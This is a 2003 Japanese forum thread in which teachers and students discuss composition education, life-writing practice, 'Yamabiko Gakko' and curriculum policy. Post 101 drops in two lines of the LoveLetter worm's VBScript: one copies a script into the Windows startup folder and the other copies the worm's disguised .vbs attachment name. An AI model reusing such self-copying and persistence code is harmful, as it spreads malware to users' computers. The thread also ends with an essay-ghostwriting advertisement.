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作文教育、生活綴方実践を語ろう

1 :作ちゃん文ちゃん:03/06/01 15:57 ID:Szk7x++x
日記を書き、学級で読み合う。
そういう作文教育・生活綴方実践について語るスレッドです。

2 :2:03/06/01 16:09 ID:akIQlfPZ
2

3 :ヘ?ツ?ツ£ツ?ユ?ツ?ツ£ツ?:03/06/01 16:20 ID:Szk7x++x
やっぱり、こういう話題って、マニアックだから、反応無いのかなあ〜。

4 :実習生さん:03/06/01 16:41 ID:FsS0L0tq
このサイトに来てる修辞学もどきの連中の浅さが
露呈するスレですな。

5 :教師:03/06/01 16:56 ID:IJh71wjX
作文教育は難しいよね。国語の中の一分野でしかなく、しかも指導を
はじめたら際限ないし。


6 :実習生さん:03/06/02 11:22 ID:nUxjqcYG
>4
どういうこと?


7 :あぼーん:あぼーん
あぼーん

8 :無着成恭:03/06/02 11:36 ID:V9H9SkAa
やまびこ学級は後に否定しましたが、何か?

9 :実習生さん:03/06/03 12:44 ID:93GpaOHM
>8
えっ。『やまびこ学校』って、無着成恭さん、否定してるんですか?
めちゃ感動して読んだんですけど。
だから、作文教育(生活綴方)って、国語の中の一分野じゃなくて、教育全体の基底だと思っているのですが。


10 :実習生さん:03/06/03 21:53 ID:93GpaOHM
>>

11 :実習生さん:03/06/03 22:02 ID:2FWWmpC6
作文ってある種の思想調査だろ?


12 :実習生さん:03/06/03 22:33 ID:EpyexpBr
>>9
えーとですね、授業で聞いただけですからやや不正確かも知れませんが・・・


当初、生活綴方は経験主義の立場から「自立の意欲や決断力を育む」として
脚光を浴びたそうです。ただ、後述のカリキュラム主義からは批判的に見られます。

その後無着氏は『山びこ学級』の印税で上京し、駒大で学ぶわけですが、そこで
「資本主義の仕組みを知らねば世の中を変えることはできない」という思いに到った。
コレに対し生徒たちは経験しかなく、学問の体系化ができない。
そうした経験主義に傾倒しすぎた山びこ学級を、氏は
「山びこ学級は賢い子を生まなかった」と評したと。
結果、氏はかつての生徒から裏切り者と見なされ、緊張関係に陥ったそうで。

そして日本の戦後教育は、経験主義から知識を体系的に教授していくという
カリキュラム主義へと移行していく・・・のが1945〜50sの教育史の見取り図だそうです。




   でもこの授業をやった教授、「大平首相は自殺して、その後を三木首相が
   務めた」とかトンチンカンなこと言っていたからな・・・ちょっと疑っておいてください。(w

13 :実習生さん:03/06/03 22:41 ID:EpyexpBr
「山びこ学『級』」は「山びこ学『校』」の間違い、失敬・・

14 :実習生さん:03/06/05 14:37 ID:VDvcGxMs
>>12
そうなんですか。
確かに、『続・やまびこ学校』って、『やまびこ学校』とは全然違うトーンの本ですよね。『続・やまびこ学校』は、ぱらぱらっと見ただけなんですが、あまりにも違うので、ものすごく驚いたのを覚えています。
無着成恭は、今は、『やまびこ学校』をどうとらえてるんでしょうかね。「賢い子を生まなかった」の路線なのかしら?
でも、佐藤籐三郎さんは、何冊か本を出してますよね。彼なんかは、「賢い子」じゃないのかなあ?(ちゃんと私は読んでないんですが(汗)。)
それから、日本作文の会編の『日本の子どもと生活綴方の50年』では、『やまびこ学校』絶賛トーンのままのような記憶が……。
う〜ん、この辺りの事情をもっと知りたい。
何か、詳しく書いてあるような本、ご存じでしたら教えていただけませんか。



15 :実習生さん:03/06/05 15:06 ID:8f5qUlXg
佐野眞一は「遠い山びこ」を書きましたけどね。
http://www.amazon.co.jp/exec/obidos/tg/detail/customer-reviews/-/books/416734002X/249-6804827-8271568

私は未読ですが。

しかし、門外漢から見ると、「山びこ学校」のパロディみたいな作文教育は、左右
ともに、いまだに学校現場で生きているとしか思えません。すっかり形骸化した「期
待される子ども像」を、演じさせることに汲々としていますね。
日本語力低下の反動とはいえ、斎藤孝ブーム・朝の読書運動も気味が悪いですね。

結局、教師自身が、本気で文章を面白いと思っていないのでしょう。思っていたら、
教師なんかならんやろうしな(笑)

16 :実習生さん:03/06/05 15:13 ID:8f5qUlXg
ちなみに、木村功主演の映画「山びこ学校」は、当時の農村の現状が垣間見えて、
興味深いですよ。教育もへったくれも無い、経済的・文化的貧困地帯で、理想
主義教育に取り組む、若き無着先生の姿には、その是非を超えて涙させられます。

http://www.amazon.co.jp/exec/obidos/ASIN/B00005GEXT/ref%3Dbr%5Flf%5Fv%5F6/249-6804827-8271568

無着先生、まだひっそりと生きてるんだよね・・・

17 :実習生さん:03/06/05 21:45 ID:VDvcGxMs
>>16
そうだと思います。
無着先生、まだ生きてますよ。
千葉でお寺の住職さんをされてるとか。


18 :実習生さん:03/06/06 01:13 ID:J1W54W+u
沈黙の自由を侵害する生活綴方実践を粉砕せよ!!

19 :実習生さん:03/06/06 12:07 ID:jdtUUep5
>>18
生活綴方実践って、沈黙の自由を侵害するものでしょうか?

20 :実習生さん:03/06/06 14:17 ID:RN/DaUk4
>>15
>>16
丁寧なレス、ありがとうございました!
佐野眞一の『遠い山びこ』、読んでみたいと思います。

斎藤孝ブームって、私もちょっと違和感を感じます。
斎藤孝が言うように、本当に子どもたちが、喜んで、意味がよくわかってない「古典」を音読してるのかなあ??

私自身も、つい最近まで、文章の面白さって、あまり自覚してなかったんですよ。生活綴方・作文教育も、文章の面白さというよりは、「生活の組織」が最初の関心でした。
でも、最近、佐藤信夫のレトリック論を読み始めて、文章や言葉の見え方が変わってきました。言葉が輝いて見えるように感じてます。世界が違って見えるというか。もちろんだからといって、「生活の組織」を否定するつもりはありませんけど。
ちなみに佐藤信夫は、斎藤美奈子の『文章読本さん江』で紹介されてます。『文章読本さん江』には、「作文教育の暴走」という章があって、これがまた、面白かった。

「やまびこ学校」が映画化されたという話は聞いたことがありましたが、ビデオになってるんですね。でも、今は品切れとか。残念。見てみたかったですね。


21 :15:03/06/06 22:04 ID:H4v2GsN4
>>20
>斎藤孝が言うように、本当に子どもたちが、喜んで、意味がよくわかってない「古典」を音読してるのかなあ??

斎藤孝の気味の悪さは、生理的なモノで、ちょっとよく説明できないんです。すみません。

意味がわかるわからないに関わらず、いろんな文章を読ませるのは、悪いことでは
ないと思いますよ。勝手に、大人が理解力のバーを設定して、指定図書だの、何学年
相当だの作るのは感心しない。さらに、今の青少年の語彙力はとにかく貧困でお話になりませんので。

ただ、なんか違和感があるんだよね。うまく言えない・・・戦前のように、子ども
に教育勅語を読ませているような薄気味の悪さとでも言うか・・・サヨ呼ばわりされるかな?

やはり、最大の問題は、教えている教師が、往々にして、文章なんか好きじゃないことではない
でしょうかね? 連中自身の中高時代を想像するだに、期待できないんですよ(笑)

「山びこ学校」のビデオは、公的なライブラリーを探せばあるのではないでしょうか?

22 :age:03/06/07 11:34 ID:YwLAV1O0
age

23 :実習生さん:03/06/07 11:49 ID:XJK/pjxA
作文の評価なんて、起承転結のような論文力でなくて、「差別はダメ!」「戦争反対!」
とかの内容で決まるんだろ?

24 :あぼーん:あぼーん
あぼーん

25 :実習生さん:03/06/07 12:39 ID:vPFFtUqX
>>23
似たような話題がこっちでも出てたよ。

心にも無い感想文書かせて何になる??
http://school.2ch.net/test/read.cgi/edu/1031572016/

26 :実習生さん:03/06/08 12:07 ID:currSWIn
>>23
そんなことないんじゃない?
心にもないこと書いたって。それが本心じゃないことくらい、すぐに読み取れるんじゃない?


27 :あぼーん:あぼーん
あぼーん

28 :実習生さん:03/06/08 15:04 ID:e8Dw0Ytf
>>26
そんな眼力のある教師は居ないよ
クラスでいじめがあると全員に
作文を書かされたが本当のことを書くと後で呼び出されるから
「人の痛みのわかる思いやりのある人間になろうと思います。」
なんて心にも無いことを平気で書いてたよ。
今から二十年以上も前に。
それでやり過ごせた。



29 :実習生さん:03/06/09 17:39 ID:kpK4VSHM
age

30 :源氏名 ◆3qNN/c14/M :03/06/09 21:10 ID:/HUP/qG0
良スレ認定に一票。

31 :あぼーん:あぼーん
あぼーん

32 :実習生さん:03/06/10 12:13 ID:fAiHVqhQ
>>28
確かにね。
でもさー、そんなんだったら、作文教育なんて、意味がないよね。
教師だって、子どもが本心で書いているのか、教師に合わせるために書いてるのかを読み取れるような力をつけていかなくちゃいけないよね。
それって、「眼力」じゃなくて、教師の実践力だと思うんだけど。


33 :実習生さん:03/06/10 18:27 ID:fAiHVqhQ
>>21
>斎藤孝の気味の悪さは、生理的なモノで、ちょっとよく説明できないんです。
まったく同感です。
斎藤孝の批判は、斎藤美奈子の『趣味は読書。』が一番切れ味が良かったような記憶が。
もちろん、斎藤美奈子は、ああいう音読主義を、教育勅語と重ねてますし。
斎藤孝の中の論理矛盾をついて批判しているのが、一番面白かった。
すなわち、身体論を主張する斎藤孝が、音読テキストの選定においては、意味論にのっている部分があるという指摘。身体論を語るなら、それに徹して主張したら、というのが斎藤美奈子の主張でした。
私なんかは、なるほど、って思いましたが。

>「山びこ学校」のビデオは、公的なライブラリーを探せばあるのではないでしょうか?
そうですね。探してみます!


34 :実習生さん:03/06/10 18:43 ID:G/xyx88/
>>32
あなたのように勘違いする人が多くて困ってます。
作文教育を「心の教育」と混同している時点で作文能力の低さは明確。

作文の大事なところは、物事を見たり聞いたりして何かを感じる、
その移り変わりの変化を文章にするわけ。ホンネとか建前とか、そういった
議論は全く持ってナンセンス。そもそも>>28にあるような、イジメに
対して心にもないことを書いて、それを教師が読んで何のレスポンスも
無かったことを「教師の眼力」と思いこんでいるDQN発想は、自分が
恥ずかしい行為をしていることに気づいていない証拠。別に
「すばらしい解答」を求められているわけではないことくらい理解しろよ。
心の「動き」が大事であって、きれいごとが大事なのではない。
作文関係のスレが立つと、必ず自分の国語力の無さを自覚せず表面だけを
批判して意見を言ったつもりになってるバカが出てくるね。

35 :源氏名 ◆3qNN/c14/M :03/06/10 19:34 ID:6k3yuvT5
致死性の劇毒を含むが、国家資格を持つ者が調理すれば美味にもなる。
フグのような固定を召喚しておいた。期待するもの也。

36 :実習生さん:03/06/10 23:31 ID:xLYiSUMS
>>32
国語の授業での当り障りの無い本の読書感想文なら自由度は高いけど
切実でセンシティブなテーマほど周りの空気や顔色をうかがうことが
重要になってしまって本題が思考停止状態に陥ることはありがちだよ
多少敏感な人間は教師や生徒にかかわらず気づいているんだけど
予定調和を崩すことによって厄介な事態や予測不能な状態に
なることをみんな恐れている。

37 :実習生さん:03/06/10 23:41 ID:xLYiSUMS
で、その予定調和を見事に崩してくれるのが帰国子女さん達。
「あー言っちゃったよ」「長くなるな早く帰れねえじゃねえか」
なんて言葉が漫画のふきだしのように頭の上に出てるのが
見えます。


38 :実習生さん:03/06/11 12:30 ID:g6c4TOZb
>>34
>作文教育を「心の教育」と混同している時点で作文能力の低さは明確。
教師って、そんなヤツばかりですが、何か?
>>36
予定調和・・・学校教育はみなそうだ。不毛だよね。
>>37
思うのだが、海外の学校に「予定調和」は無いのだろうか? 

全然関係ないが、帰国・高校交換留学経験者で、ホントにデキるヤツって見たことないよ。
語学力とかのスキルは高いけどね。海外の学校も、意外と大したことはしてないんだろうな。
・・・あるいは、日本で生き延びるために、ネコ被っていやがるね。

39 :実習生さん:03/06/11 14:32 ID:veiNZJPj
作文教育=心の教育とすることにも抵抗があるが、
自分の内心・ホンネとは別のところで、書く力をつけていくことはできるのか?


40 :実習生さん:03/06/11 20:17 ID:J4rNXzZg
>>38
教師同士の会話で「こいつは文章だけだな」とか「この子は深いところまで
洞察しているなあ」なんて会話、しょっちゅうしてます。>>38
よっぽど優秀か、単に自信過剰かどちらかでしょうね。

ある意味では模範解答や正論が必要とされる学校教育において、独善的で
稚拙な独り言につきあう必要はないですね。どうしても甘えたいのなら
親や周囲の大人に要求するべきでは?

41 :実習生さん:03/06/11 20:57 ID:O0crnJWo
>>40
>ある意味では模範解答や正論が必要とされる学校教育において

以下3行、意味不明ですが? 

42 :さおりん ◆y.XhExhfy2 :03/06/12 00:09 ID:tsKSAZ4l
小学校の宿題の定番である「日記」はあくまで国語科における
作文・表現能力の向上のみに用いられるものであり、
生徒・児童の生活を盗み読むものではないですし、
作文能力以外の部分では評価を下してはいけないと思います。

「ちびまる子ちゃん」において、まる子がラジオ体操をさぼって、
お姉ちゃんに代わりに行ってもらい、ハンコを押させてたら、
夏休み明けに先生が「この時期は日記に外国へ行っていたと
書いてありましたが、どうしてラジオ体操のハンコが押してあるのですか?」
と質問したのですが、これこそが宿題の日記におけるタブー、職権濫用といえます。

私の小学校も夏休みの日記をつける宿題がありました。
7月21日、すなわち夏休み最初のページに私はこう記しました。
「小学校教育に於ける日記とは、国語科の一環であり、
作文能力・表現力の向上を企図した課題である。
故にノンフィクションで綴る義務は全くあり得なく、
以降の記述は捏造や妄想を含むフィクションを多分に含んだ内容となっている。
但し、国語科の当該学年で要求される水準は満たす努力は怠らないものとする」(原文ママ)

もちろん、小学校の教師ごときが私に文句をつけられるはずもなく(論理は正しいのだから)、
満点の評価で戻ってきましたよ。

43 :実習生さん:03/06/12 00:45 ID:JBOXlJ3n
同和教育や管理教育など特定の方向に偏っている学校は
作文を思想調査のように利用しがち。


44 :実習生さん:03/06/12 05:30 ID:dQ+iL8Gb
>>43
>同和教育や管理教育など特定の方向に偏っている学校は
>作文を思想調査のように利用しがち。

そりゃ目的がそうだろうからな。
利用しちゃ悪いか?小学生でそんなことも必要ないほど完成された
人間がいるのか?学生を過剰評価するのはよくないぞ。

45 :一教師:03/06/12 21:50 ID:N/sEmeaJ
教科書から作文教材がほとんどなくなりました。
でも、子どもたちに、作文を書く力をつけさせたいと思っています。
教師をされている方、どのように指導されていますか。

46 :窓際美少年 ◆3qNN/c14/M :03/06/12 22:47 ID:cZErrxEO
( ´D`)ノ××について××の中で感想文書けとか、テーマを限定しないでほしいのれす

47 :さおりん ◆y.XhExhfy2 :03/06/13 08:02 ID:b6LuJZ9u
「舞姫におけるエリスの性行動から鑑みたテクスト分析論」
・・・小4のときに私が書いた読書感想文のお題(課題図書なし)。


48 :実習生さん:03/06/13 18:33 ID:atSD8l6S
>>45
対象年齢にもよるけど、まず洞察力を高めることと、基本パターンを
知ることが大事かな。

49 :実習生さん:03/06/13 22:59 ID:oZb/D32M
>>45
先日、たまたま生活綴方の公開授業を見る機会があった。
その先生に言わせれば、「書きたいこと」を書くことから始めて、
「書かなければいけないこと」「見つめなければいけないこと」に
つなげていくという話だったと思う。

また、書き方は「展開的過去形の記述」をめざすということだったかな?
詳しい資料を学校においてきたからよく覚えていないけど。

ただ、最近の子ども達の作文の特徴は、「独りよがりで(=自己中心的)」、
「会話文がない(=コミニュケーション能力の低下)」というのは、
妙によく覚えているなぁ。

50 :源氏名 ◆3qNN/c14/M :03/06/14 00:10 ID:8RI0LvrI
あたくすは教師ではないですが、まづ敷居を低くして自由にやらせてやってくださいまし。
テーマは最小限のお約束のみとし、日本語や文法がうんぬんとかケチな事言わず、
最大限の評価をしてやってくださいまし。
文章力は大きく個人差出ると思われますが、仕方の無い事と思われ。
単純に1週間位その事を考えて、後で全てはき出して文字にすればいいだけで、
簡単単純にリラックスしてやらせてくださいまし。

51 :窓際美少年 ◆3qNN/c14/M :03/06/14 00:12 ID:8RI0LvrI
( ´D`)ノ「風と木の詩における耽美的性象徴におけるボーイズラブ原論」
あたくすが小4の時に書いた読書感想文のお題なのれす(課題図書なし)。

52 :実習生さん:03/06/16 16:11 ID:IyqmJuS5
>>48
>>49
レス、ありがとうございます。
まず、「書きたいこと」を書くということ、共感します。
「展開的過去形」ってなんですか?
初めて聞いたような……。


53 :実習生さん:03/06/18 19:45 ID:3DqhG8qU
松永暢史『常識破りの日本語文章術』(主婦の友社)は面白かった。
まず、形式を求める学校作文の批判は、その通りって気分。
筆者の進める抽象構成作文法は、まず思い浮かんだものをバラバラにメモ化してから、構成してくって書き方なんだけど、これって、特にワープロを使うようになってから、私なんかは普通にやっていること。みんなそうだと思ってたけど、違うのかしら。
言葉ってもっと不十分でいい加減なものなんだよっていう指摘には共感。それぐらいに考えて、言葉や文章につきあってもいいんでしょうね。



54 :源氏名@美少年:03/06/18 20:24 ID:g18+7GHf
なんだ。
俺の提唱する美少年的文章作成法と同じではないか(w
しかし、いくら耽美な作文法があろうと、やる気ない香具師は何やってもダメだ。
実は、過去に作文指導(そんな大袈裟ではないが)をした事があるが、全くものにならなかった。
技能伝承とはむづかしいもので、伝道者たる教師には方法論にとらわれず、
結果主義にこだわってもらいたくも有。
結果とは感情を挟む余地無く冷厳な積み重ねの現実也。僥倖は無価値也。

55 :実習生さん:03/06/18 22:36 ID:+wkl42V3
>>52

展開的過去形の記述とは、ものすごくおおざっぱにいうと、「時間の経過順に
思い出して書く」ということのようです。一番ありがちなのは、「・・・しました、
・・・しました」でつないでいくヤツです。それじゃぁ、ちっともおもしろくないので、
いろいろ工夫するようです。

たとえば、会話文だけを先ず思い出して箇条書きにし、それをつないで
いって文章を作り上げていくなどです。逆に、できごとを先ず箇条書きにして、
それを並べ替えて整理してから文章を作っていくなどの手段です。

また、子ども達の印象に残りやすいようなイベントを、わざと起こすこともあると
言っておられました。たとえば、検尿のコップを配る際に、そのコップで水を
くんできて、子ども達の目の前で飲んでみるとか・・・そしたら、ほとんどの
子ども達が、そのできごとを日記に書いてきたとか。


56 :源氏名@美少年:03/06/19 19:56 ID:WI1k8ImZ
中島電気グルーヴ美嘉。
なんだ。その耽美的な手法は案外と一般的であったのかい。
実はリア厨の時に作文授業あり、先生は期末テストの点数に完全に加えるとしてたんで、
そんな楽なもんじゃなかったが、50点満点で41点取った。
クラスで常に成績上位の香具師でも30点台で、40点台は知るところ俺だけだったと思う。
その上位香具師が「どうしたら作文高得点とれるのか」と聞いてきたので、
本格派少年愛的手法を提唱したのだが、しかし、先生にそんな指導をしてもらった記憶は無いな。
ただ、消防以来、普段の作文はあまり評価高くなかった記憶。
修学旅行やら運動会やらテーマを絞られ、内容を要求される雰囲気では「やる気」が全く無かった。
教師の仕事は、田植えよりも耕すことが多くの割合を占めると思考する所存也。

57 :実習生さん:03/06/20 16:33 ID:wp3MVg7a
>>55
なるほど。
「ました」「ました」でつないでいく書き方なんですね。書き方の習作っていうイメージでしょうか。
子どもたちが書くことが無いって言うのは、どこも一緒なんですね。そうか、印象に残りやすいことを仕組んでいくんですね。
参考になりました。


58 :実習生さん:03/06/23 12:32 ID:7Y/tDTrd
>>49
最近の子どもたちの子ども達の作文の中に会話が少ないっていうのは印象的。
日常生活の中で、コミュニケーション場面が少ないのかなあ。


59 :実習生さん:03/06/23 16:08 ID:AehmJcm1
生活綴方って全生研と関係あるんですか?ウチの教授が生活指導の歴史の話をしたとき言及してましたが。

60 :実習生さん:03/06/23 16:26 ID:qISvlE2x
少し前は女の子の方が明らかに文章を書くことを
コミュニケーションの道具として使いこなしていて
男子の方は過去ログに有るように定形どおりの
猫かぶったものや、逆に自意識炸裂で読みにくいもの
が多い印象があったけど最近はどうなの?

61 :実習生さん:03/06/26 19:15 ID:wqTpHbWr
>>59
なんか、濃いい質問ですね。
関係あると思いますよ。
全生研の発足によって、生活指導を専門に追求する研究団体ができたから、生活綴方は、「生活指導」という「重荷」をおろして、国語科に位置づけようというのが、「有名な」62年活動方針です。
もちろん、「重荷」は何を指すのかって、いろいろ議論されてますから、こういうふうに言うのはおおざっぱすぎるかもしれないけれど。
あなたの教授さんは、どういうふうに言及してましたか?


62 :実習生さん:03/06/28 03:25 ID:KQq49FXS
>>60
子どもの作文でも、男女差ってあるように思います。
出版されている子どもの作品集を読むと、どうしても、女の子の作品の方が、読めるものが多いように思います。
子どもの言葉の性差って、作文のような書きことばだけなのでしょうか。
話し言葉にも、違いがあるのでしょうかね。

このスレッドでも、なんとなく、書き手の性がわかりますよね。


63 :実習生さん:03/06/29 11:06 ID:E9C57cM6
>>

64 :実習生さん:03/06/30 17:14 ID:WllAGkgS
なんか、やることがいっぱいありすぎて、疲れた……。

65 :59:03/07/01 00:20 ID:h2CkkiZ/
'戦前において、現状に疑問を持った教師達が生活指導を始め、綴方をもとにした要求と自治を行なった'と言ってました。生活指導実践をまとめた教授の著書を読むと、日記指導など綴り方っぽいこともやってます。

66 :実習生さん:03/07/01 13:09 ID:Z9mPA7mV
>>65
ずばり、その著書って何?
私は最近、今更ですが、汐見さんの「戦後教育の時期区分の問題をめぐって−−無着成恭の足跡を手がかりに」(『教育』2002年6月号)を読みました。ほとんど「黙殺」されていた『続・山びこ学校』を紹介してたけど。

同号で偶然見つけた斎木さんの「「平和」と「反戦」のためのスパーリング」は面白かった。


67 :実習生さん:03/07/02 18:23 ID:R1pWE3IX
>>59
全生研は日教組の全国教研の分科会が一つの契機になってできたはずです。
全生研の竹内常一の著書「生活指導の理論」を読むと生活綴方にかなりのページを割いています。

68 :59:03/07/03 18:14 ID:zdZ4J6QH
>>66
竹内常一の「10代との対話 学校ってなあに」です。
ただこの本では生活指導が前面にでていて、綴方はそれを進めるための
ものとして扱われているかんじです。

69 :実習生さん:03/07/04 18:28 ID:3PdLTV7x
>>67
>>68
竹内常一さんですか。
前に、『竹内常一のしごと』で読みました。
竹内さんと、日本作文の会って、相当立場が違うのではと思います。
竹内さんのお師匠さんの宮坂哲文の62活動方針批判は優れもの。


70 :実習生さん:03/07/04 19:33 ID:TPTLP/mz
>>69
相当って、どのくらい?

71 :実習生さん:03/07/11 16:35 ID:WmZImBnV
竹内は書名は忘れたが、ある本で子どもの問題を子どもの内面から
とらえていくことに疑問を投げかけていた。


72 :実習生さん:03/07/11 17:38 ID:CYVO5Ypt
芦田恵之助は神!!

73 :実習生さん:03/07/12 09:52 ID:mTfEWsHc
随意選題の芦田恵之助が出てきましたか。
戦前活躍した人としては有名な人ですね。
20年くらい前だと、まだ本屋で見かけたけど、
今はどうでしょうね。

74 :実習生さん:03/07/15 07:12 ID:NaTtNT9K
すごいな、戦前の話題か。
最近の作文教育の動向ってどうなの?
戦前とか、戦後すぐの無着成恭とかじゃなくって。

75 :山崎 渉:03/07/15 12:04 ID:P3JL3roR

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

76 :実習生さん:03/07/16 23:25 ID:wyXQh0F5
学校五日制版学習指導要領の国語では「伝え合い」がテーマ。
ところがこの内容は「聞く・話す」に重点が置かれている。
したがって、「書く」内容は貧弱になった。
例えば、一番普及している教科書の1年生では、今頃の教材は、絵日記が定番であったが、
何とこれはあっさりとなくなり、夏休みに手紙を書こう、というものになっている。
こうした傾向は前の文科省の国語担当者の意向らしい。

77 :あぼーん:あぼーん
あぼーん

78 :実習生さん:03/07/20 10:14 ID:QjkLkS6f
>76
本当は「伝え合う力」って大事なはずなのに、その内実が貧弱化しているように感じる。
伝達に傾斜したって批判するんじゃなくて、その伝達の質を考えたいなって思うけど。
「伝え合う力」で、「聞く・話す」に重点化する必然性はないんじゃないって思うけど、どうなんだろう?


79 :実習生さん:03/07/22 21:46 ID:n4xTsELf
作文の話をいっぱい語りたいのに、忙しすぎて、書けない。
悲しすぎるし、もう、ぶちぎれそう。


80 :実習生さん:03/07/23 22:55 ID:dEwW2P/d
前回の学習指導要領からコミュニケーションを意識していたようだ。
国語なのに英語はよくないと思ったらしく、「伝え合い」にしたとか。
前々回までは作文力がない、という世間の声を受け、重点化してきたが、
長文を書く傾向を批判し、短作文等が強調されてきた。
そうした流れの中で「伝え合い」は「聞く・話す」に矮小化してしまった。
教科書の中の作文は手順だけが示され、例文は貧弱なものになった。
これは教科書が薄くなったこととも関連しているように思う。
時間数を減らしたことを理由に教科書のページ数も制限されてしまった。
文科省のお役人たちがすることはこんなものである。

81 :実習生さん:03/07/25 02:25 ID:Cg1lKdWW
対人関係を上手く結べない(人の話をよく聞けないとか)子供がでてきたことと関係してるのかなぁ?伝え合いに重点が移ったことは。

82 :実習生さん:03/07/25 16:18 ID:aDYISjmK
>>72
友納友次郎、万歳!


83 :実習生さん:03/07/26 22:29 ID:nRNAWoxQ
新米塾講師です。
今度、中三のクラスで、記述指導をすることになりました。
最近の高校入試では、記述問題が重視されているそうで……。
どういう進め方がいいでしょうかね。
助けてくださいまし。


84 :実習生さん:03/07/27 01:30 ID:F8DSVu7I
作文教育ってはっきりいって役に立たないと思いませんか。高校になれは論文になるわけで、
別物です。作文って限界があります。論文として書き方や読み方などの指導を
中学から始めるべきでないでしょうか。この時期に読書感想文はレベルが低過ぎて
おかしい。

85 :実習生さん:03/07/28 14:53 ID:Qr6DlIPU
>>84
作文と論文が別物というのは同感ですが。
ただ、読書感想文がレベルが低すぎるというのは疑問です。
読書感想文というのは、本が読めるだけじゃなくて、それに対して自分がどのような立場を取るかコメントするものなので、かなり高度なことなのでは?
中学生はともかく、小学生に、まとまった読書感想文を要求するのは、難かしすぎるように思うのですけど。


86 :実習生さん:03/07/28 20:04 ID:ShjcXMY9
戦前において、現状に疑問を持った教師達が生活指導を始め、綴方をもとにした要求と自治を行なった'と言ってました。生活指導実践をまとめた教授の著書を読むと、日記指導など綴り方っぽいこともやってます。

共産党系の人が多いよね。
大学の時、T村という共産党系のDQN助教授がいて、生活綴り方礼賛、ゼミで、「赤旗には、他の新聞に書いていない、いいことが書いてあるので、君たちもぜひ、読むように」と特定政党の機関紙の宣伝までしていた。

87 :実習生さん:03/07/29 00:13 ID:yUXoE1qc
戦前においては、あの情勢下で子どもの生活現実を直視することは、必然的に社会変革を要求したんでしょうね。治安維持法違反で検挙された生活綴方教師もたくさんいたし。だからまあ、当時は、共産党系の人が多かったというのはよくわかるけど、今はどうなんだろう?

それにしてもT村教授って、そんな先生、今時いるんだ。生活綴り方礼賛はともかく、赤旗の宣伝をするなんて。普通、するか〜。


88 :実習生さん:03/07/29 01:04 ID:ltu4KPot
T村の配布する資料は、新日本出版、あゆみ出版、など共産党系の出版社のものだけ。
「私は、民主教育の実践者」と自己満足している。

89 :実習生さん:03/07/29 01:09 ID:QCXsKfRP
中学の時、読書感想文の発表があったが何か馬鹿にしてた感じがする。
中には教科書での物語を出した奴がいた。それだけ馬鹿にしてた証拠。もう20年前の話ですが。
それより読書感想文はあくまでも感想でしかないわけです。もちろん文章を書くのには
本を読む事は基本でしょう。それゆえ、論文作成は実践的です。論文を書くには書物を読むのは必須です。
書き方の基本を教えるのは中学からやるべきで、時間をかけながら慣れた方が良いでしょう。
作文と読書感想文から脱却すべき時がきていると思います。受験にも関係する事ですから。





90 :実習生さん:03/07/29 10:08 ID:yUXoE1qc
なるほどね、T村。
あゆみ出版はつぶれたんじゃない? 確か。
あゆみから出ていた『子どもと教育』は、「子どもと教育社」から出てたんだけど、この4月から販売元が「ルック」になってた。
「民主教育の実践者」か。その実態とは? 教えて、T村教授。


91 :ぼるじょあ ◆yBEncckFOU :03/08/02 04:14 ID:Fa7UgnAZ
     ∧_∧  ∧_∧
ピュ.ー (  ・3・) (  ^^ ) <これからも僕たちを応援して下さいね(^^)。
  =〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
  = ◎――――――◎                      山崎渉&ぼるじょあ

92 :実習生さん:03/08/06 10:24 ID:9ihGt6zN
日本作文の会というとことろが主催している作文教育研究大会にいってきました。
佐賀に1200人以上かな、集まったというのだから、すごい(今時)。
いろいろあるなあと実感。


93 :実習生さん:03/08/07 10:50 ID:epVxB6RM
波多野完治全集が面白い。
1巻・文章心理学、2巻・文章診断学、3巻・現代のレトリック、9巻・ことばの心理と教育
この辺りは必読でしょ。


94 :実習生さん:03/08/11 00:57 ID:Opt1Ee93
10日付け朝日の書評は面白かった。
関川夏央と内田樹は読んでみたい。
まあ、作文教育には直接関わらないだろうけど。
読んだ人、います?


95 :実習生さん:03/08/12 01:38 ID:OTV8BYVn
眠い。

96 :実習生さん:03/08/15 01:51 ID:ljKrxwqh
『民主と愛国』、めちゃ面白い。
特に9章。


97 :山崎 渉:03/08/15 20:15 ID:17gmP3f6
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

98 :実習生さん:03/08/15 23:51 ID:2lAtzckL
うちの学校では、作文の数値化(点数化)を研究しとる。
ばかばかし〜と思いつつ、何も言えん。

99 :実習生さん:03/08/16 00:14 ID:pnF83FTj
>>98
マジですか。
どうやって作文を点数化するんだ??
何の意味があるんだい?
その研究成果、まとまったらカキコしてほし〜な〜。


100 :98:03/08/16 00:43 ID:xixssfw0
>>99
普通の公立校だから、研究にもならん研究しとるだけ・・・
最近、やたら数値目標を示せみたいなこと言われとるから、お上に忠誠を
示してるだけだろう。

101 :実習生さん:03/08/16 01:14 ID:H/gBYPw6
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

102 :実習生さん:03/08/17 14:30 ID:T8SstfW8
>>100
お上への忠誠か。
この忙しい学校現場で、そんなことのために、時間を割くなんて。
作文教育には、いろんな可能性があると思うのだけれど。
そんな点数化なんてことじゃなくて、他の方向で研究していく道はないのかなあ。


103 :あぼーん:あぼーん
あぼーん

104 :あぼーん:あぼーん
あぼーん

105 :実習生さん:03/08/18 14:02 ID:e669FnVo
>103,104
おー、こんなマニアックな板にも来たか。

106 :実習生さん:03/08/18 14:51 ID:zho+bRre


107 :実習生さん:03/08/18 14:53 ID:zho+bRre
??

108 :実習生さん:03/08/18 15:04 ID:uZ0oZBvK
>>102
点数化しないと説明責任が果たせないそうな。
絶対評価の世界では、作文も絵画も点数化しようという考え方が出てきて不思議
ない。
谷崎潤一郎→文の簡潔さに難(―20点)
大江健三郎→難解に過ぎる(―35点)
ピカソ→デッサン力に問題(―45点)
とかね。


109 :実習生さん:03/08/19 11:31 ID:SVb7n1pn
>108
ひどいなーと思いつつ、私も同じようなことをしている。
大学生のレポートを採点するときに、点数をつけろと要求される。
なぜ高い評価なのか、低い評価なのかを説明できなくちゃいけないし。


110 :実習生さん:03/08/20 22:48 ID:GFMEtvCy
>>1-109
思い切ってプロに書いてもらったら?

知育研究会
http://www.chiiku.com/thesis.htm
文章代行のジパング
